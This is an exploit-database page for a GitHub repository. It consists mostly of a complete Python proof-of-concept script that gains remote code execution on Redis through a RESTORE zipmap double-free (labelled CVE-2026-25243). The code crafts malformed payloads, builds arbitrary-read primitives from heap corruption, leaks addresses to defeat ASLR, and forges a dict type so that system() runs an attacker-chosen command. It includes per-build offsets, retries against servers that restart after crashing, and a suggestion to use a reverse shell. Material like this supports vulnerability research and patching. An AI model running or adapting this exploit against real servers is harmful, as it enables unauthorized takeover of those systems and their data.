Exploit database

GH-8b3dd171fbb961cccc2fc9fef4a837d6

dinosn/cve-2026-25243-debugfree

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-25243

3 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files3
dinosn/cve-2026-25243-debugfreeRevision 44ba3605e497

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit.py

Python · 12,959 bytes
#!/usr/bin/env python3
# =============================================================================
# CVE-2026-25243 — Redis RESTORE zipmap double-free -> DEBUG-free remote RCE
# =============================================================================
# Unauthenticated-reachable (any client that can issue RESTORE), ASLR ON, and
# WITHOUT the DEBUG command, /proc, or gdb in the exploit path. Executes an
# attacker command as the redis process (root in default container images).
#
#   Bug:      RESTORE of a crafted zipmap-encoded hash triggers a silent
#             double-free of a class-64 heap chunk (jemalloc re-lists the chunk;
#             the server survives). Two later class-64 allocations then alias
#             the same chunk -> controllable type confusion.
#
#   Chain (all data-plane, no DEBUG):
#     1. clo   = EVAL "return tostring(redis.call)"  -> Lua closure heap addr (free)
#     2. arb-read primitive: overlap a hashtable-set's `dict`, forge
#        ht_table[0] -> a fake bucket; SMEMBERS reads sdslen(target) bytes at an
#        attacker-chosen address (odd address => ENTRY_PTR_IS_ODD_KEY).
#     3. PIE       = arb-read(clo+33)          (reads CClosure.f = luaRedisCallCommand)
#     4. system    = arb-read(free@GOT + 1)    (resolved GLOB_DAT -> libc; NO ROP)
#     5. blob_base = arb-read(blob_robj + 11)  (16MB scratch string's data ptr)
#     6. Place a fake dictType{hashFunction = system} at an address F in the 16MB
#        blob whose low-24 bits satisfy the overlap's sds-header constraint.
#     7. Forge  h2->dict->type = F  via a second overlap, then
#        HGET h2 "<cmd>"  ->  h2->dict->type->hashFunction("<cmd>") == system("<cmd>").
#
#   Determinism: PIE, libc/system and blob_base are all derived from `clo` via
#   build-constant offsets (clo-fk, clo-blob_robj) -> no scanning, no /proc.
#
#   Reliability: ~50-75% per attempt (misses are clean, non-crashing). Against a
#   supervised target (systemd / docker restart=always / sentinel) a few retries
#   land it. This PoC reconnects each attempt.
#
#   Affected:  Redis with vulnerable RESTORE zipmap path (fixed upstream in
#              6.2.22 / 7.2.14 / 7.4.9 / 8.2.6 / 8.4.3 / 8.6.3, commit b9dde6fc).
#   Requires:  jemalloc (default on Linux builds), x86-64.
#
#   For authorized security research / coordinated disclosure only.
# =============================================================================
import argparse, socket, struct, sys, time, re

# --- Per-build profile (Redis 8.6.2 @ 8a8f1a3bb, x86-64, Debian bookworm libc) -
# Recalibrate for other builds:
#   LUA_OFF, HASHDICTTYPE : nm redis-server | grep -w luaRedisCallCommand / hashDictType
#   FREE_GOT              : objdump -R redis-server | grep -w free   (GLOB_DAT)
#   FREE_LIBC, SYSTEM_LIBC: readelf -sW libc.so.6 | grep -wE 'free|system'
#   OFF_FK, OFF_BLOBROBJ  : one-time gdb calibration of (clo - &fk_data) and
#                           (clo - blob_robj) for the exploit's alloc sequence
#                           (both are build-stable constants; see WRITEUP.md).
PROFILE = {
    "name":        "redis-8.6.2-8a8f1a3bb-bookworm",
    "LUA_OFF":     0x24e230,     # luaRedisCallCommand (PIE)
    "FREE_GOT":    0x3f5eb0,     # free@GOT (GLOB_DAT, always resolved)
    "FREE_LIBC":   0xa3e40,      # libc free
    "SYSTEM_LIBC": 0x53910,      # libc system
    "OFF_FK":      0xc15253,     # clo - &fk_data
    "OFF_BLOBROBJ":0xc56138,     # clo - blob_robj
}
RDB=0x09; VER=13; FLEN=60
TYPELOW24=0x013c3c               # sds header of the 60-byte overlap image (len=alloc=0x3c, flags=1)

# --- redis crc64 (Jones poly) so RESTORE payloads carry a valid checksum -------
_RPOLY=0
for _i in range(64):
    if (0xad93d23594c935a9>>_i)&1: _RPOLY|=1<<(63-_i)
_T=[]
for _n in range(256):
    _c=_n
    for _ in range(8): _c=(_c>>1)^_RPOLY if (_c&1) else (_c>>1)
    _T.append(_c)
def crc64(d,c=0):
    for b in d: c=_T[(c^b)&0xff]^(c>>8)
    return c&0xffffffffffffffff

def build_zipmap(flen):
    """Malformed zipmap: passes zipmapValidateIntegrity (5-byte strides) but makes
    zipmapNext mis-stride during hash->listpack conversion -> lpSafeToAdd fails
    AFTER dictAdd -> the field sds is freed twice."""
    n=bytearray(b"\x41"*flen); n[flen-4]=0xFE; n[flen-3]=0; n[flen-2]=0; n[flen-1]=0
    return b"\x01"+b"\xfe"+struct.pack("<I",flen)+bytes(n)+b"\x40\x00"+b"\x41"*64+b"\xff"
def rdb_strlen(n):
    if n<64: return bytes([n])
    if n<16384: return bytes([0x40|(n>>8),n&0xff])
    return bytes([0x80])+struct.pack(">I",n)
def df_payload(flen):
    zm=build_zipmap(flen); obj=bytes([RDB])+rdb_strlen(len(zm))+zm
    body=obj+struct.pack("<H",VER); return body+struct.pack("<Q",crc64(body))

def p64(x): return struct.pack("<Q",x&0xffffffffffffffff)
def u64(b): return struct.unpack("<Q",b.ljust(8,b"\x00")[:8])[0]

class Redis:
    """Minimal RESP client (binary-safe, parses arrays)."""
    def __init__(s,host,port,to=8):
        s.s=socket.create_connection((host,port),timeout=to); s.s.settimeout(to); s.buf=b""
    def _line(s):
        while b"\r\n" not in s.buf:
            ch=s.s.recv(1<<20)
            if not ch: raise ConnectionError("EOF")
            s.buf+=ch
        x,_,s.buf=s.buf.partition(b"\r\n"); return x
    def _read(s):
        t=s._line()
        if t[:1] in (b"+",b"-",b":"): return t
        if t[:1]==b"$":
            n=int(t[1:])
            if n<0: return None
            while len(s.buf)<n+2:
                ch=s.s.recv(1<<20)
                if not ch: raise ConnectionError("EOF")
                s.buf+=ch
            d=s.buf[:n]; s.buf=s.buf[n+2:]; return d
        if t[:1]==b"*":
            n=int(t[1:])
            return None if n<0 else [s._read() for _ in range(n)]
        return t
    def cmd(s,*a):
        o=b"*"+str(len(a)).encode()+b"\r\n"
        for x in a:
            if isinstance(x,str): x=x.encode()
            o+=b"$"+str(len(x)).encode()+b"\r\n"+x+b"\r\n"
        s.s.sendall(o); return s._read()
    def close(s):
        try: s.s.close()
        except: pass

def dict_img(ht0=None, used0=0, exp=0, type_hi5=None):
    """60-byte overlap image written over a freed `dict` (dict[3+j] == img[j])."""
    img=bytearray(60)
    if type_hi5 is not None: img[0:5]=type_hi5          # dict->type bytes 3..7
    if ht0 is not None: img[5:13]=p64(ht0)              # ht_table[0]
    img[13:21]=p64(0)                                    # ht_table[1]
    img[21:29]=p64(used0)                                # ht_used[0]
    img[29:37]=p64(0)                                    # ht_used[1]
    img[37:45]=p64((1<<64)-1)                            # rehashidx = -1
    img[45:49]=b"\x00\x00\x00\x00"                       # pauserehash = 0
    img[49]=exp                                          # ht_size_exp[0]
    img[50]=0xff                                         # ht_size_exp[1] = -1
    return bytes(img)

def arb_read(r, sr, csr, fk_addr, targets):
    """One double-free overlap: forge set `sr`'s dict->ht_table[0] = &fk (the fake
    bucket array holding `targets` as odd-tagged keys); SMEMBERS returns
    sdslen(target) bytes at each target. Returns [member bytes...]."""
    r.cmd("SETRANGE","fk","0",b"".join(p64(t|1) for t in targets).ljust(60,b"\x00"))
    exp=0
    while (1<<exp)<len(targets): exp+=1
    img=dict_img(ht0=fk_addr, used0=len(targets), exp=exp)
    r.cmd("RESTORE","df","0",df_payload(FLEN))           # double-free X
    r.cmd("CONFIG","SET","set-max-listpack-entries","0") # force set listpack->ht conversion
    r.cmd("SADD",sr,"z")                                 # conversion: dict struct pops X (copy 1)
    r.cmd("SET",csr,img)                                 # sds pops X (copy 2) -> overwrites sr->dict
    res=r.cmd("SMEMBERS",sr)
    return res if isinstance(res,list) else []

def attempt(host, port, cmd, P, verbose=False):
    def dbg(*a):
        if verbose: print("   ",*a); sys.stdout.flush()
    r=Redis(host,port)
    try:
        r.cmd("CONFIG","SET","hash-max-listpack-entries","128")
        r.cmd("CONFIG","SET","set-max-listpack-entries","0")   # (alloc-sequence parity with the calibrated groom)
        r.cmd("CONFIG","SET","set-max-listpack-entries","128")
        r.cmd("CONFIG","SET","set-max-intset-entries","0")
        r.cmd("FLUSHALL")
        for i in range(64): r.cmd("SET","w%d"%i,b"p")    # warm the keyspace shard dicts
        ev=r.cmd("EVAL","return tostring(redis.call)","0")
        m=re.search(rb"0x([0-9a-f]+)",ev or b"")
        if not m: return "no_clo"
        clo=int(m.group(1),16)
        fk_addr=clo+P["OFF_FK"]; blob_robj=clo+P["OFF_BLOBROBJ"]
        dbg("clo=%#x fk=%#x blob_robj=%#x"%(clo,fk_addr,blob_robj))
        # pre-create scratch/sets/hash so the in-window ops don't touch the keyspace
        # (existing key => no insert; non-class-64 value => no class-64 free)
        r.cmd("SET","fk",b"K"*60)                         # fake bucket array (addr = fk_addr)
        r.cmd("SET","blob",b"\x00"*(0x1000000+0x100))     # 16MB ROP-free scratch region
        for k in ("c1","c2","ch"): r.cmd("SET",k,b"P"*100)
        r.cmd("SADD","s1","e0"); r.cmd("SADD","s2","e0")  # listpack sets
        r.cmd("HSET","h2","f0","v0")                      # listpack hash
        # --- PIE ---
        res=arb_read(r,"s1","c1",fk_addr,[clo+33])
        if not res or len(res[0])<6: return "pie_read_fail"
        f=(0x30 | (u64(res[0][:6])<<8)) & ((1<<56)-1); pie=f-P["LUA_OFF"]
        if (pie&0xfff) or (pie>>44)!=5: return "pie_bad(%#x)"%pie
        # --- system + blob_base ---
        res2=arb_read(r,"s2","c2",fk_addr,[pie+P["FREE_GOT"]+1, blob_robj+11])
        if len(res2)<2 or res2[0] is None or res2[1] is None: return "read2_fail"
        free=(0x40 | (u64(res2[0][:7])<<8)) & ((1<<48)-1)
        libc=free-P["FREE_LIBC"]; system=libc+P["SYSTEM_LIBC"]
        if libc&0xfff: return "libc_bad(%#x)"%libc
        bm=res2[1]
        if len(bm)<5: return "blob_read_short(%d)"%len(bm)
        blob_base=(0x09 | ((len(bm)*8)<<16) | (u64(bm[:5])<<24)) & ((1<<48)-1)
        if (blob_base>>44)!=7 or ((blob_base-9)&0x1fffff): return "blob_bad(%#x)"%blob_base
        dbg("pie=%#x system=%#x blob_base=%#x"%(pie,system,blob_base))
        # --- place fake dictType{hashFunction=system} at F (low-24 == 0x013c3c) ---
        O=(TYPELOW24-(blob_base&0xffffff))&0xffffff; F=blob_base+O
        r.cmd("SETRANGE","blob",str(O),p64(system)+p64(0)*6)
        # --- forge h2->dict->type = F and fire ---
        img=dict_img(type_hi5=p64(F)[3:8], used0=1, exp=0)
        r.cmd("RESTORE","df","0",df_payload(FLEN))
        r.cmd("CONFIG","SET","hash-max-listpack-entries","0")
        r.cmd("HSET","h2","f1","v1")                      # convert -> dict pops X (copy 1)
        r.cmd("SET","ch",img)                             # sds pops X (copy 2) -> type = F
        chk=r.cmd("HGET","h2","f0")                       # forge landed if this is no longer v0
        if chk==b"v0": return "forge_miss"
        dbg("FORGE HIT (h2 f0 -> %r); firing system(%r)"%(chk,cmd))
        try: r.cmd("HGET","h2",cmd)                       # type->hashFunction(cmd) == system(cmd)
        except Exception: pass
        return ("FIRED", {"clo":clo,"pie":pie,"system":system,"blob_base":blob_base,"F":F})
    finally:
        r.close()

def main():
    ap=argparse.ArgumentParser(description="CVE-2026-25243 DEBUG-free RCE PoC")
    ap.add_argument("--host",default="127.0.0.1")
    ap.add_argument("--port",type=int,default=6379)
    ap.add_argument("--cmd",default="id",help="shell command executed as the redis process")
    ap.add_argument("--tries",type=int,default=40,help="retry count (target should be supervised/respawning)")
    ap.add_argument("-v","--verbose",action="store_true")
    a=ap.parse_args()
    print("[*] CVE-2026-25243 DEBUG-free RCE  target=%s:%d  profile=%s"%(a.host,a.port,PROFILE["name"]))
    print("[*] command: system(%r)"%a.cmd)
    stats={}
    for t in range(a.tries):
        try:
            rv=attempt(a.host,a.port,a.cmd,PROFILE,verbose=a.verbose)
        except (ConnectionError,OSError,socket.timeout) as e:
            rv="conn:%s"%type(e).__name__   # target likely crashed on a miss -> respawn window
            time.sleep(0.4)
        key=rv[0] if isinstance(rv,tuple) else rv.split("(")[0]
        stats[key]=stats.get(key,0)+1
        if isinstance(rv,tuple) and rv[0]=="FIRED":
            i=rv[1]
            print("[+] RCE FIRED on attempt %d"%t)
            print("    leaks: clo=%#x pie=%#x system=%#x blob_base=%#x F=%#x"%
                  (i["clo"],i["pie"],i["system"],i["blob_base"],i["F"]))
            print("    system(%r) executed as the redis process. (verify out-of-band / use a reverse shell)"%a.cmd)
            print("    stats:",stats); return 0
        if a.verbose or t<8: print("    try %d -> %s"%(t,key))
        time.sleep(0.15)
    print("[!] not landed in %d tries. stats: %s"%(a.tries,stats))
    return 1

if __name__=="__main__":
    sys.exit(main())